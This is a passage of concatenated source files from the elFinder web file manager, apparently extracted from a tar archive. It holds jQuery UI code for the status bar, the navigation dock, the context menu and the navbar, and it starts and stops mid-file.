			sel        = jQuery('<div class="elfinder-stat-selected"></div>')
				.on('click', 'a', function(e) {
					var hash = jQuery(this).data('hash');
					e.preventDefault();
					fm.exec('opendir', [ hash ]);
				}),
			titleitems = fm.i18n('items'),
			titlesel   = fm.i18n('selected'),
			titlesize  = fm.i18n('size'),
			setstat    = function(files) {
				var c = 0, 
					s = 0,
					cwd = fm.cwd(),
					calc = true,
					hasSize = true;

				if (cwd.sizeInfo || cwd.size) {
					s = cwd.size;
					calc = false;
				}
				jQuery.each(files, function(i, file) {
					c++;
					if (calc) {
						s += parseInt(file.size) || 0;
						if (hasSize === true && file.mime === 'directory' && !file.sizeInfo) {
							hasSize = false;
						}
					}
				});
				size.html(titleitems+': <span class="elfinder-stat-incsearch"></span>'+c+',&nbsp;<span class="elfinder-stat-size'+(hasSize? ' elfinder-stat-size-recursive' : '')+'">'+fm.i18n(hasSize? 'sum' : 'size')+': '+fm.formatSize(s)+'</span>')
					.attr('title', size.text());
				fm.trigger('uistatchange');
			},
			setIncsearchStat = function(data) {
				size.find('span.elfinder-stat-incsearch').html(data? data.hashes.length + ' / ' : '');
				size.attr('title', size.text());
				fm.trigger('uistatchange');
			},
			setSelect = function(files) {
				var s = 0,
					c = 0,
					dirs = [],
					path, file;

				if (files.length === 1) {
					file = files[0];
					s = file.size;
					if (fm.searchStatus.state === 2) {
						path = fm.escape(file.path? file.path.replace(/\/[^\/]*$/, '') : '..');
						dirs.push('<a href="#elf_'+file.phash+'" data-hash="'+file.hash+'" title="'+path+'">'+path+'</a>');
					}
					dirs.push(fm.escape(file.i18 || file.name));
					sel.html(dirs.join('/') + (s > 0 ? ', '+fm.formatSize(s) : ''));
				} else if (files.length) {
					jQuery.each(files, function(i, file) {
						c++;
						s += parseInt(file.size)||0;
					});
					sel.html(c ? titlesel+': '+c+', '+titlesize+': '+fm.formatSize(s) : '&nbsp;');
				} else {
					sel.html('');
				}
				sel.attr('title', sel.text());
				fm.trigger('uistatchange');
			};

		fm.getUI('statusbar').prepend(size).append(sel).show();
		if (fm.UA.Mobile && jQuery.fn.tooltip) {
			fm.getUI('statusbar').tooltip({
				classes: {
					'ui-tooltip': 'elfinder-ui-tooltip ui-widget-shadow'
				},
				tooltipClass: 'elfinder-ui-tooltip ui-widget-shadow',
				track: true
			});
		}
		
		fm
		.bind('cwdhasheschange', function(e) {
			setstat(jQuery.map(e.data, function(h) { return fm.file(h); }));
		})
		.change(function(e) {
			var files = e.data.changed || [],
				cwdHash = fm.cwd().hash;
			jQuery.each(files, function() {
				if (this.hash === cwdHash) {
					if (this.size) {
						size.children('.elfinder-stat-size').addClass('elfinder-stat-size-recursive').html(fm.i18n('sum')+': '+fm.formatSize(this.size));
						size.attr('title', size.text());
					}
					return false;
				}
			});
		})
		.select(function() {
			setSelect(fm.selectedFiles());
		})
		.bind('open', function() {
			setSelect([]);
		})
		.bind('incsearch', function(e) {
			setIncsearchStat(e.data);
		})
		.bind('incsearchend', function() {
			setIncsearchStat();
		})
		;
	});
};
navdock.js000066600000010566151754206170006553 0ustar00/**
 * @class elfindernavdock - elFinder container for preview etc at below the navbar
 *
 * @author Naoki Sawada
 **/
jQuery.fn.elfindernavdock = function(fm, opts) {
	"use strict";
	this.not('.elfinder-navdock').each(function() {
		var self = jQuery(this).hide().addClass('ui-state-default elfinder-navdock touch-punch'),
			node = self.parent(),
			wz   = node.children('.elfinder-workzone').append(self),
			resize = function(to, h) {
				var curH = h || self.height(),
					diff = to - curH,
					len  = Object.keys(sizeSyncs).length,
					calc = len? diff / len : 0,
					ovf;
				if (diff) {
					ovf = self.css('overflow');
					self.css('overflow', 'hidden');
					self.height(to);
					jQuery.each(sizeSyncs, function(id, n) {
						n.height(n.height() + calc).trigger('resize.' + fm.namespace);
					});
					fm.trigger('wzresize');
					self.css('overflow', ovf);
				}
			},
			handle = jQuery('<div class="ui-front ui-resizable-handle ui-resizable-n"></div>').appendTo(self),
			sizeSyncs = {},
			resizeFn = [],
			initMaxHeight = (parseInt(opts.initMaxHeight) || 50) / 100,
			maxHeight = (parseInt(opts.maxHeight) || 90) / 100,
			basicHeight, hasNode;
		
		
		self.data('addNode', function(cNode, opts) {
			var wzH = fm.getUI('workzone').height(),
				imaxH = wzH * initMaxHeight,
				curH, tH, mH;
			opts = Object.assign({
				first: false,
				sizeSync: true,
				init: false
			}, opts);
			if (!cNode.attr('id')) {
				cNode.attr('id', fm.namespace+'-navdock-' + (+new Date()));
			}
			opts.sizeSync && (sizeSyncs[cNode.attr('id')] = cNode);
			curH = self.height();
			tH = curH + cNode.outerHeight(true);
			
			if (opts.first) {
				handle.after(cNode);
			} else {
				self.append(cNode);
			}
			hasNode = true;
			self.resizable('enable').height(tH).show();
			
			fm.trigger('wzresize');
			
			if (opts.init) {
				mH = fm.storage('navdockHeight');
				if (mH) {
					tH = mH;
				} else {
					tH = tH > imaxH? imaxH : tH;
				}
				basicHeight = tH;
			}
			resize(Math.min(tH, wzH * maxHeight));
			
			return self;
		}).data('removeNode', function(nodeId, appendTo) {
			var cNode = jQuery('#'+nodeId);
			delete sizeSyncs[nodeId];
			self.height(self.height() - jQuery('#'+nodeId).outerHeight(true));
			if (appendTo) {
				if (appendTo === 'detach') {
					cNode = cNode.detach();
				} else {
					appendTo.append(cNode);
				}
			} else {
				cNode.remove();
			}
			if (self.children().length <= 1) {
				hasNode = false;
				self.resizable('disable').height(0).hide();
			}
			fm.trigger('wzresize');
			return cNode;
		});
		
		if (! opts.disabled) {
			fm.one('init', function() {
				var ovf;
				if (fm.getUI('navbar').children().not('.ui-resizable-handle').length) {
					self.data('dockEnabled', true);
					self.resizable({
						maxHeight: fm.getUI('workzone').height() * maxHeight,
						handles: { n: handle },
						start: function(e, ui) {
							ovf = self.css('overflow');
							self.css('overflow', 'hidden');
							fm.trigger('navdockresizestart', {event: e, ui: ui}, true);
						},
						resize: function(e, ui) {
							self.css('top', '');
							fm.trigger('wzresize', { inNavdockResize : true });
						},
						stop: function(e, ui) {
							fm.trigger('navdockresizestop', {event: e, ui: ui}, true);
							self.css('top', '');
							basicHeight = ui.size.height;
							fm.storage('navdockHeight', basicHeight);
							resize(basicHeight, ui.originalSize.height);
							self.css('overflow', ovf);
						}
					});
					fm.bind('wzresize', function(e) {
						var minH, maxH, h;
						if (self.is(':visible')) {
							maxH = fm.getUI('workzone').height() * maxHeight;
							if (! e.data || ! e.data.inNavdockResize) {
								h = self.height();
								if (maxH < basicHeight) {
									if (Math.abs(h - maxH) > 1) {
										resize(maxH);
									}
								} else {
									if (Math.abs(h - basicHeight) > 1) {
										resize(basicHeight);
									}
								}
							}
							self.resizable('option', 'maxHeight', maxH);
						}
					}).bind('themechange', function() {
						var oldH = Math.round(self.height());
						requestAnimationFrame(function() {
							var curH = Math.round(self.height()),
								diff = oldH - curH;
							if (diff !== 0) {
								resize(self.height(),  curH - diff);
							}
						});
					});
				}
				fm.bind('navbarshow navbarhide', function(e) {
					self[hasNode && e.type === 'navbarshow'? 'show' : 'hide']();
				});
			});
		}
	});
	return this;
};contextmenu.js000066600000052721151754206170007476 0ustar00/**
 * @class  elFinder contextmenu
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindercontextmenu = function(fm) {
	"use strict";
	return this.each(function() {
		var self   = jQuery(this),
			cmItem = 'elfinder-contextmenu-item',
			smItem = 'elfinder-contextsubmenu-item',
			exIcon = 'elfinder-contextmenu-extra-icon',
			cHover = fm.res('class', 'hover'),
			dragOpt = {
				distance: 8,
				start: function() {
					menu.data('drag', true).data('touching') && menu.find('.'+cHover).removeClass(cHover);
				},
				stop: function() {
					menu.data('draged', true).removeData('drag');
				}
			},
			menu = jQuery(this).addClass('touch-punch ui-helper-reset ui-front ui-widget ui-state-default ui-corner-all elfinder-contextmenu elfinder-contextmenu-'+fm.direction)
				.hide()
				.on('touchstart', function(e) {
					menu.data('touching', true).children().removeClass(cHover);
				})
				.on('touchend', function(e) {
					menu.removeData('touching');
				})
				.on('mouseenter mouseleave', '.'+cmItem, function(e) {
					jQuery(this).toggleClass(cHover, (e.type === 'mouseenter' || (! menu.data('draged') && menu.data('submenuKeep'))? true : false));
					if (menu.data('draged') && menu.data('submenuKeep')) {
						menu.find('.elfinder-contextmenu-sub:visible').parent().addClass(cHover);
					}
				})
				.on('mouseenter mouseleave', '.'+exIcon, function(e) {
					jQuery(this).parent().toggleClass(cHover, e.type === 'mouseleave');
				})
				.on('mouseenter mouseleave', '.'+cmItem+',.'+smItem, function(e) {
					var setIndex = function(target, sub) {
						jQuery.each(sub? subnodes : nodes, function(i, n) {
							if (target[0] === n) {
								(sub? subnodes : nodes)._cur = i;
								if (sub) {
									subselected = target;
								} else {
									selected = target;
								}
								return false;
							}
						});
					};
					if (e.originalEvent) {
						var target = jQuery(this),
							unHover = function() {
								if (selected && !selected.children('div.elfinder-contextmenu-sub:visible').length) {
									selected.removeClass(cHover);
								}
							};
						if (e.type === 'mouseenter') {
							// mouseenter
							if (target.hasClass(smItem)) {
								// submenu
								if (subselected) {
									subselected.removeClass(cHover);
								}
								if (selected) {
									subnodes = selected.find('div.'+smItem);
								}
								setIndex(target, true);
							} else {
								// menu
								unHover();
								setIndex(target);
							}
						} else {
							// mouseleave
							if (target.hasClass(smItem)) {
								//submenu
								subselected = null;
								subnodes = null;
							} else {
								// menu
								unHover();
								(function(sel) {
									setTimeout(function() {
										if (sel === selected) {
											selected = null;
										}
									}, 250);
								})(selected);
							}
						}
					}
				})
				.on('contextmenu', function(){return false;})
				.on('mouseup', function() {
					setTimeout(function() {
						menu.removeData('draged');
					}, 100);
				})
				.draggable(dragOpt),
			ltr = fm.direction === 'ltr',
			subpos = ltr? 'left' : 'right',
			types = Object.assign({}, fm.options.contextmenu),
			tpl     = '<div class="'+cmItem+'{className}"><span class="elfinder-button-icon {icon} elfinder-contextmenu-icon"{style}></span><span>{label}</span></div>',
			item = function(label, icon, callback, opts) {
				var className = '',
					style = '',
					iconClass = '',
					v, pos;
				if (opts) {
					if (opts.className) {
						className = ' ' + opts.className;
					}
					if (opts.iconClass) {
						iconClass = opts.iconClass;
						icon = '';
					}
					if (opts.iconImg) {
						v = opts.iconImg.split(/ +/);
						pos = v[1] && v[2]? fm.escape(v[1] + 'px ' + v[2] + 'px') : '';
						style = ' style="background:url(\''+fm.escape(v[0])+'\') '+(pos? pos : '0 0')+' no-repeat;'+(pos? '' : 'posbackground-size:contain;')+'"';
					}
				}
				return jQuery(tpl.replace('{icon}', icon ? 'elfinder-button-icon-'+icon : (iconClass? iconClass : ''))
						.replace('{label}', label)
						.replace('{style}', style)
						.replace('{className}', className))
					.on('click', function(e) {
						e.stopPropagation();
						e.preventDefault();
						callback();
					});
			},
			urlIcon = function(iconUrl) {
				var v = iconUrl.split(/ +/),
					pos = v[1] && v[2]? (v[1] + 'px ' + v[2] + 'px') : '';
				return {
					backgroundImage: 'url("'+v[0]+'")',
					backgroundRepeat: 'no-repeat',
					backgroundPosition: pos? pos : '',
					backgroundSize: pos? '' : 'contain'
				};
			},
			base, cwd,
			nodes, selected, subnodes, subselected, autoSyncStop, subHoverTm,

			autoToggle = function() {
				var evTouchStart = 'touchstart.contextmenuAutoToggle';
				menu.data('hideTm') && clearTimeout(menu.data('hideTm'));
				if (menu.is(':visible')) {
					menu.on('touchstart', function(e) {
						if (e.originalEvent.touches.length > 1) {
							return;
						}
						menu.stop();
						fm.toFront(menu);
						menu.data('hideTm') && clearTimeout(menu.data('hideTm'));
					})
					.data('hideTm', setTimeout(function() {
						if (menu.is(':visible')) {
							cwd.find('.elfinder-cwd-file').off(evTouchStart);
							cwd.find('.elfinder-cwd-file.ui-selected')
							.one(evTouchStart, function(e) {
								if (e.originalEvent.touches.length > 1) {
									return;
								}
								var tgt = jQuery(e.target);
								if (menu.first().length && !tgt.is('input:checkbox') && !tgt.hasClass('elfinder-cwd-select')) {
									e.stopPropagation();
									//e.preventDefault();
									open(e.originalEvent.touches[0].pageX, e.originalEvent.touches[0].pageY);
									cwd.data('longtap', true)
									tgt.one('touchend', function() {
										setTimeout(function() {
											cwd.removeData('longtap');
										}, 80);
									});
									return;
								}
								cwd.find('.elfinder-cwd-file').off(evTouchStart);
							})
							.one('unselect.'+fm.namespace, function() {
								cwd.find('.elfinder-cwd-file').off(evTouchStart);
							});
							menu.fadeOut({
								duration: 300,
								fail: function() {
									menu.css('opacity', '1').show();
								},
								done: function() {
									fm.toHide(menu);
								}
							});
						}
					}, 4500));
				}
			},
			
			keyEvts = function(e) {
				var code = e.keyCode,
					ESC = jQuery.ui.keyCode.ESCAPE,
					ENT = jQuery.ui.keyCode.ENTER,
					LEFT = jQuery.ui.keyCode.LEFT,
					RIGHT = jQuery.ui.keyCode.RIGHT,
					UP = jQuery.ui.keyCode.UP,
					DOWN = jQuery.ui.keyCode.DOWN,
					subent = fm.direction === 'ltr'? RIGHT : LEFT,
					sublev = subent === RIGHT? LEFT : RIGHT;
				
				if (jQuery.inArray(code, [ESC, ENT, LEFT, RIGHT, UP, DOWN]) !== -1) {
					e.preventDefault();
					e.stopPropagation();
					e.stopImmediatePropagation();
					if (code == ESC || code === sublev) {
						if (selected && subnodes && subselected) {
							subselected.trigger('mouseleave').trigger('submenuclose');
							selected.addClass(cHover);
							subnodes = null;
							subselected = null;
						} else {
							code == ESC && close();
							fm.trigger('closecontextmenu');
						}
					} else if (code == UP || code == DOWN) {
						if (subnodes) {
							if (subselected) {
								subselected.trigger('mouseleave');
							}
							if (code == DOWN && (! subselected || subnodes.length <= ++subnodes._cur)) {
								subnodes._cur = 0;
							} else if (code == UP && (! subselected || --subnodes._cur < 0)) {
								subnodes._cur = subnodes.length - 1;
							}
							subselected = subnodes.eq(subnodes._cur).trigger('mouseenter');
						} else {
							subnodes = null;
							if (selected) {
								selected.trigger('mouseleave');
							}
							if (code == DOWN && (! selected || nodes.length <= ++nodes._cur)) {
								nodes._cur = 0;
							} else if (code == UP && (! selected || --nodes._cur < 0)) {
								nodes._cur = nodes.length - 1;
							}
							selected = nodes.eq(nodes._cur).addClass(cHover);
						}
					} else if (selected && (code == ENT || code === subent)) {
						if (selected.hasClass('elfinder-contextmenu-group')) {
							if (subselected) {
								code == ENT && subselected.click();
							} else {
								selected.trigger('mouseenter');
								subnodes = selected.find('div.'+smItem);
								subnodes._cur = 0;
								subselected = subnodes.first().addClass(cHover);
							}
						} else {
							code == ENT && selected.click();
						}
					}
				}
			},
			
			open = function(x, y, css) {
				var width      = menu.outerWidth(),
					height     = menu.outerHeight(),
					bstyle     = base.attr('style'),
					bpos       = base.offset(),
					bwidth     = base.width(),
					bheight    = base.height(),
					mw         = fm.UA.Mobile? 40 : 2,
					mh         = fm.UA.Mobile? 20 : 2,
					x          = x - (bpos? bpos.left : 0),
					y          = y - (bpos? bpos.top : 0),
					css        = Object.assign(css || {}, {
						top  : Math.max(0, y + mh + height < bheight ? y + mh : y - (y + height - bheight)),
						left : Math.max(0, (x < width + mw || x + mw + width < bwidth)? x + mw : x - mw - width),
						opacity : '1'
					}),
					evts;

				autoSyncStop = true;
				fm.autoSync('stop');
				base.width(bwidth);
				menu.stop().removeAttr('style').css(css);
				fm.toFront(menu);
				menu.show();
				base.attr('style', bstyle);
				
				css[subpos] = parseInt(menu.width());
				menu.find('.elfinder-contextmenu-sub').css(css);
				if (fm.UA.iOS) {
					jQuery('div.elfinder div.overflow-scrolling-touch').css('-webkit-overflow-scrolling', 'auto');
				}
				
				selected = null;
				subnodes = null;
				subselected = null;
				jQuery(document).on('keydown.' + fm.namespace, keyEvts);
				evts = jQuery._data(document).events;
				if (evts && evts.keydown) {
					evts.keydown.unshift(evts.keydown.pop());
				}
				
				fm.UA.Mobile && autoToggle();
				
				requestAnimationFrame(function() {
					fm.getUI().one('click.' + fm.namespace, close);
				});
			},
			
			close = function() {
				fm.getUI().off('click.' + fm.namespace, close);
				jQuery(document).off('keydown.' + fm.namespace, keyEvts);

				currentType = currentTargets = null;
				
				if (menu.is(':visible') || menu.children().length) {
					fm.toHide(menu.removeAttr('style').empty().removeData('submenuKeep'));
					try {
						if (! menu.draggable('instance')) {
							menu.draggable(dragOpt);
						}
					} catch(e) {
						if (! menu.hasClass('ui-draggable')) {
							menu.draggable(dragOpt);
						}
					}
					if (menu.data('prevNode')) {
						menu.data('prevNode').after(menu);
						menu.removeData('prevNode');
					}
					fm.trigger('closecontextmenu');
					if (fm.UA.iOS) {
						jQuery('div.elfinder div.overflow-scrolling-touch').css('-webkit-overflow-scrolling', 'touch');
					}
				}
				
				autoSyncStop && fm.searchStatus.state < 1 && ! fm.searchStatus.ininc && fm.autoSync();
				autoSyncStop = false;
			},
			
			create = function(type, targets) {
				var sep    = false,
					insSep = false,
					disabled = [],
					isCwd = type === 'cwd',
					selcnt = 0,
					cmdMap;

				currentType = type;
				currentTargets = targets;
				
				// get current uiCmdMap option
				if (!(cmdMap = fm.option('uiCmdMap', isCwd? void(0) : targets[0]))) {
					cmdMap = {};
				}
				
				if (!isCwd) {
					disabled = fm.getDisabledCmds(targets);
				}
				
				selcnt = fm.selected().length;
				if (selcnt > 1) {
					menu.append('<div class="ui-corner-top ui-widget-header elfinder-contextmenu-header"><span>'
					 + fm.i18n('selectedItems', ''+selcnt)
					 + '</span></div>');
				}
				
				nodes = jQuery();
				jQuery.each(types[type]||[], function(i, name) {
					var cmd, cmdName, useMap, node, submenu, hover;
					
					if (name === '|') {
						if (sep) {
							insSep = true;
						}
						return;
					}
					
					if (cmdMap[name]) {
						cmdName = cmdMap[name];
						useMap = true;
					} else {
						cmdName = name;
					}
					cmd = fm.getCommand(cmdName);

					if (cmd && !isCwd && (!fm.searchStatus.state || !cmd.disableOnSearch)) {
						cmd.__disabled = cmd._disabled;
						cmd._disabled = !(cmd.alwaysEnabled || (fm._commands[cmdName] ? jQuery.inArray(name, disabled) === -1 && (!useMap || !disabled[cmdName]) : false));
						jQuery.each(cmd.linkedCmds, function(i, n) {
							var c;
							if (c = fm.getCommand(n)) {
								c.__disabled = c._disabled;
								c._disabled = !(c.alwaysEnabled || (fm._commands[n] ? !disabled[n] : false));
							}
						});
					}

					if (cmd && !cmd._disabled && cmd.getstate(targets) != -1) {
						if (cmd.variants) {
							if (!cmd.variants.length) {
								return;
							}
							node = item(cmd.title, cmd.className? cmd.className : cmd.name, function(){}, cmd.contextmenuOpts);
							
							submenu = jQuery('<div class="ui-front ui-corner-all elfinder-contextmenu-sub"></div>')
								.hide()
								.css('max-height', fm.getUI().height() - 30)
								.appendTo(node.append('<span class="elfinder-contextmenu-arrow"></span>'));
							
							hover = function(show){
								if (! show) {
									submenu.hide();
								} else {
									var bstyle = base.attr('style');
									base.width(base.width());
									// top: '-1000px' to prevent visible scrollbar of window with the elFinder option `height: '100%'`
									submenu.css({ top: '-1000px', left: 'auto', right: 'auto' });
									var nodeOffset = node.offset(),
										nodeleft   = nodeOffset.left,
										nodetop    = nodeOffset.top,
										nodewidth  = node.outerWidth(),
										width      = submenu.outerWidth(true),
										height     = submenu.outerHeight(true),
										baseOffset = base.offset(),
										wwidth     = baseOffset.left + base.width(),
										wheight    = baseOffset.top + base.height(),
										cltr       = ltr, 
										x          = nodewidth,
										y, over;
	
									if (ltr) {
										over = (nodeleft + nodewidth + width) - wwidth;
										if (over > 10) {
											if (nodeleft > width - 5) {
												x = x - 5;
												cltr = false;
											} else {
												if (!fm.UA.Mobile) {
													x = nodewidth - over;
												}
											}
										}
									} else {
										over = width - nodeleft;
										if (over > 0) {
											if ((nodeleft + nodewidth + width - 15) < wwidth) {
												x = x - 5;
												cltr = true;
											} else {
												if (!fm.UA.Mobile) {
													x = nodewidth - over;
												}
											}
										}
									}
									over = (nodetop + 5 + height) - wheight;
									y = (over > 0 && nodetop < wheight)? 5 - over : (over > 0? 30 - height : 5);
	
									menu.find('.elfinder-contextmenu-sub:visible').hide();
									submenu.css({
										top : y,
										left : cltr? x : 'auto',
										right: cltr? 'auto' : x,
										overflowY: 'auto'
									}).show();
									base.attr('style', bstyle);
								}
							};
							
							node.addClass('elfinder-contextmenu-group')
								.on('mouseleave', '.elfinder-contextmenu-sub', function(e) {
									if (! menu.data('draged')) {
										menu.removeData('submenuKeep');
									}
								})
								.on('submenuclose', '.elfinder-contextmenu-sub', function(e) {
									hover(false);
								})
								.on('click', '.'+smItem, function(e){
									var opts, $this;
									e.stopPropagation();
									if (! menu.data('draged')) {
										$this = jQuery(this);
										if (!cmd.keepContextmenu) {
											menu.hide();
										} else {
											$this.removeClass(cHover);
											node.addClass(cHover);
										}
										opts = $this.data('exec');
										if (typeof opts === 'undefined') {
											opts = {};
										}
										if (typeof opts === 'object') {
											opts._userAction = true;
											opts._currentType = type;
											opts._currentNode = $this;
										}
										!cmd.keepContextmenu && close();
										fm.exec(cmd.name, targets, opts);
									}
								})
								.on('touchend', function(e) {
									if (! menu.data('drag')) {
										hover(true);
										menu.data('submenuKeep', true);
									}
								})
								.on('mouseenter mouseleave', function(e){
									if (! menu.data('touching')) {
										if (node.data('timer')) {
											clearTimeout(node.data('timer'));
											node.removeData('timer');
										}
										if (!jQuery(e.target).closest('.elfinder-contextmenu-sub', menu).length) {
											if (e.type === 'mouseleave') {
												if (! menu.data('submenuKeep')) {
													node.data('timer', setTimeout(function() {
														node.removeData('timer');
														hover(false);
													}, 250));
												}
											} else {
												node.data('timer', setTimeout(function() {
													node.removeData('timer');
													hover(true);
												}, nodes.find('div.elfinder-contextmenu-sub:visible').length? 250 : 0));
											}
										}
									}
								});
							
							jQuery.each(cmd.variants, function(i, variant) {
								var item = variant === '|' ? '<div class="elfinder-contextmenu-separator"></div>' :
									jQuery('<div class="'+cmItem+' '+smItem+'"><span>'+variant[1]+'</span></div>').data('exec', variant[0]),
									iconClass, icon;
								if (typeof variant[2] !== 'undefined') {
									icon = jQuery('<span></span>').addClass('elfinder-button-icon elfinder-contextmenu-icon');
									if (! /\//.test(variant[2])) {
										icon.addClass('elfinder-button-icon-'+variant[2]);
									} else {
										icon.css(urlIcon(variant[2]));
									}
									item.prepend(icon).addClass(smItem+'-icon');
								}
								submenu.append(item);
							});
								
						} else {
							node = item(cmd.title, cmd.className? cmd.className : cmd.name, function() {
								if (! menu.data('draged')) {
									!cmd.keepContextmenu && close();
									fm.exec(cmd.name, targets, {_userAction: true, _currentType: type, _currentNode: node});
								}
							}, cmd.contextmenuOpts);
							if (cmd.extra && cmd.extra.node) {
								jQuery('<span class="elfinder-button-icon elfinder-button-icon-'+(cmd.extra.icon || '')+' '+exIcon+'"></span>')
									.append(cmd.extra.node).appendTo(node);
								jQuery(cmd.extra.node).trigger('ready', {targets: targets});
							} else {
								node.remove('.'+exIcon);
							}
						}
						
						if (cmd.extendsCmd) {
							node.children('span.elfinder-button-icon').addClass('elfinder-button-icon-' + cmd.extendsCmd);
						}
						
						if (insSep) {
							menu.append('<div class="elfinder-contextmenu-separator"></div>');
						}
						menu.append(node);
						sep = true;
						insSep = false;
					}
					
					if (cmd && typeof cmd.__disabled !== 'undefined') {
						cmd._disabled = cmd.__disabled;
						delete cmd.__disabled;
						jQuery.each(cmd.linkedCmds, function(i, n) {
							var c;
							if (c = fm.getCommand(n)) {
								c._disabled = c.__disabled;
								delete c.__disabled;
							}
						});
					}
				});
				nodes = menu.children('div.'+cmItem);
			},
			
			createFromRaw = function(raw) {
				currentType = 'raw';
				jQuery.each(raw, function(i, data) {
					var node;
					
					if (data === '|') {
						menu.append('<div class="elfinder-contextmenu-separator"></div>');
					} else if (data.label && typeof data.callback == 'function') {
						node = item(data.label, data.icon, function() {
							if (! menu.data('draged')) {
								!data.remain && close();
								data.callback();
							}
						}, data.options || null);
						menu.append(node);
					}
				});
				nodes = menu.children('div.'+cmItem);
			},
			
			currentType = null,
			currentTargets = null;
		
		fm.one('load', function() {
			base = fm.getUI();
			cwd = fm.getUI('cwd');
			fm.bind('contextmenu', function(e) {
				var data = e.data,
					css = {},
					prevNode;

				if (data.type && data.type !== 'files') {
					cwd.trigger('unselectall');
				}
				close();

				if (data.type && data.targets) {
					fm.trigger('contextmenucreate', data);
					create(data.type, data.targets);
					fm.trigger('contextmenucreatedone', data);
				} else if (data.raw) {
					createFromRaw(data.raw);
				}

				if (menu.children().length) {
					prevNode = data.prevNode || null;
					if (prevNode) {
						menu.data('prevNode', menu.prev());
						prevNode.after(menu);
					}
					if (data.fitHeight) {
						css = {maxHeight: Math.min(fm.getUI().height(), jQuery(window).height()), overflowY: 'auto'};
						menu.draggable('destroy').removeClass('ui-draggable');
					}
					open(data.x, data.y, css);
					// call opened callback function
					if (data.opened && typeof data.opened === 'function') {
						data.opened.call(menu);
					}
				}
			})
			.one('destroy', function() { menu.remove(); })
			.bind('disable', close)
			.bind('select', function(e){
				(currentType === 'files' && (!e.data || e.data.selected.toString() !== currentTargets.toString())) && close();
			});
		})
		.shortcut({
			pattern     : fm.OS === 'mac' ? 'ctrl+m' : 'contextmenu shift+f10',
			description : 'contextmenu',
			callback    : function(e) {
				e.stopPropagation();
				e.preventDefault();
				jQuery(document).one('contextmenu.' + fm.namespace, function(e) {
					e.preventDefault();
					e.stopPropagation();
				});
				var sel = fm.selected(),
					type, targets, pos, elm;
				
				if (sel.length) {
					type = 'files';
					targets = sel;
					elm = fm.cwdHash2Elm(sel[0]);
				} else {
					type = 'cwd';
					targets = [ fm.cwd().hash ];
					pos = fm.getUI('workzone').offset();
				}
				if (! elm || ! elm.length) {
					elm = fm.getUI('workzone');
				}
				pos = elm.offset();
				pos.top += (elm.height() / 2);
				pos.left += (elm.width() / 2);
				fm.trigger('contextmenu', {
					'type'    : type,
					'targets' : targets,
					'x'       : pos.left,
					'y'       : pos.top
				});
			}
		});
		
	});
	
};
navbar.js000066600000012337151754206170006375 0ustar00/**
 * @class elfindernav - elFinder container for diretories tree and places
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindernavbar = function(fm, opts) {
	"use strict";
	this.not('.elfinder-navbar').each(function() {
		var nav    = jQuery(this).hide().addClass('ui-state-default elfinder-navbar'),
			parent = nav.css('overflow', 'hidden').parent(),
			wz     = parent.children('.elfinder-workzone').append(nav),
			ltr    = fm.direction == 'ltr',
			delta, deltaW, handle, swipeHandle, autoHide, setWidth, navdock,
			setWzRect = function() {
				var cwd = fm.getUI('cwd'),
					wz  = fm.getUI('workzone'),
					wzRect = wz.data('rectangle'),
					cwdOffset = cwd.offset();
				wz.data('rectangle', Object.assign(wzRect, { cwdEdge: (fm.direction === 'ltr')? cwdOffset.left : cwdOffset.left + cwd.width() }));
			},
			setDelta = function() {
				nav.css('overflow', 'hidden');
				delta  = Math.round(nav.outerHeight() - nav.height());
				deltaW = Math.round(navdock.outerWidth() - navdock.innerWidth());
				nav.css('overflow', 'auto');
			};

		fm.one('init', function() {
			navdock = fm.getUI('navdock');
			var set = function() {
					setDelta();
					fm.bind('wzresize', function() {
						var navdockH = 0;
						navdock.width(nav.outerWidth() - deltaW);
						if (navdock.children().length > 1) {
							navdockH = navdock.outerHeight(true);
						}
						nav.height(wz.height() - navdockH - delta);
					}).trigger('wzresize');
				};
			if (fm.cssloaded) {
				set();
			} else {
				fm.one('cssloaded', set);
			}
		})
		.one('opendone',function() {
			handle && handle.trigger('resize');
			nav.css('overflow', 'auto');
		}).bind('themechange', setDelta);
		
		if (fm.UA.Touch) {
			autoHide = fm.storage('autoHide') || {};
			if (typeof autoHide.navbar === 'undefined') {
				autoHide.navbar = (opts.autoHideUA && opts.autoHideUA.length > 0 && jQuery.grep(opts.autoHideUA, function(v){ return fm.UA[v]? true : false; }).length);
				fm.storage('autoHide', autoHide);
			}
			
			if (autoHide.navbar) {
				fm.one('init', function() {
					if (nav.children().length) {
						fm.uiAutoHide.push(function(){ nav.stop(true, true).trigger('navhide', { duration: 'slow', init: true }); });
					}
				});
			}
			
			fm.bind('load', function() {
				if (nav.children().length) {
					swipeHandle = jQuery('<div class="elfinder-navbar-swipe-handle"></div>').hide().appendTo(wz);
					if (swipeHandle.css('pointer-events') !== 'none') {
						swipeHandle.remove();
						swipeHandle = null;
					}
				}
			});
			
			nav.on('navshow navhide', function(e, data) {
				var mode     = (e.type === 'navshow')? 'show' : 'hide',
					duration = (data && data.duration)? data.duration : 'fast',
					handleW = (data && data.handleW)? data.handleW : Math.max(50, fm.getUI().width() / 10);
				nav.stop(true, true)[mode]({
					duration: duration,
					step    : function() {
						fm.trigger('wzresize');
					},
					complete: function() {
						if (swipeHandle) {
							if (mode === 'show') {
								swipeHandle.stop(true, true).hide();
							} else {
								swipeHandle.width(handleW? handleW : '');
								fm.resources.blink(swipeHandle, 'slowonce');
							}
						}
						fm.trigger('navbar'+ mode);
						data.init && fm.trigger('uiautohide');
						setWzRect();
					}
				});
				autoHide.navbar = (mode !== 'show');
				fm.storage('autoHide', Object.assign(fm.storage('autoHide'), {navbar: autoHide.navbar}));
			}).on('touchstart', function(e) {
				if (jQuery(this)['scroll' + (fm.direction === 'ltr'? 'Right' : 'Left')]() > 5) {
					e.originalEvent._preventSwipeX = true;
				}
			});
		}
		
		if (! fm.UA.Mobile) {
			handle = nav.resizable({
					handles : ltr ? 'e' : 'w',
					minWidth : opts.minWidth || 150,
					maxWidth : opts.maxWidth || 500,
					resize : function() {
						fm.trigger('wzresize');
					},
					stop : function(e, ui) {
						fm.storage('navbarWidth', ui.size.width);
						setWzRect();
					}
				})
				.on('resize scroll', function(e) {
					var $this = jQuery(this),
						tm = $this.data('posinit');
					e.preventDefault();
					e.stopPropagation();
					if (! ltr && e.type === 'resize') {
						nav.css('left', 0);
					}
					tm && cancelAnimationFrame(tm);
					$this.data('posinit', requestAnimationFrame(function() {
						var offset = (fm.UA.Opera && nav.scrollLeft())? 20 : 2;
						handle.css('top', 0).css({
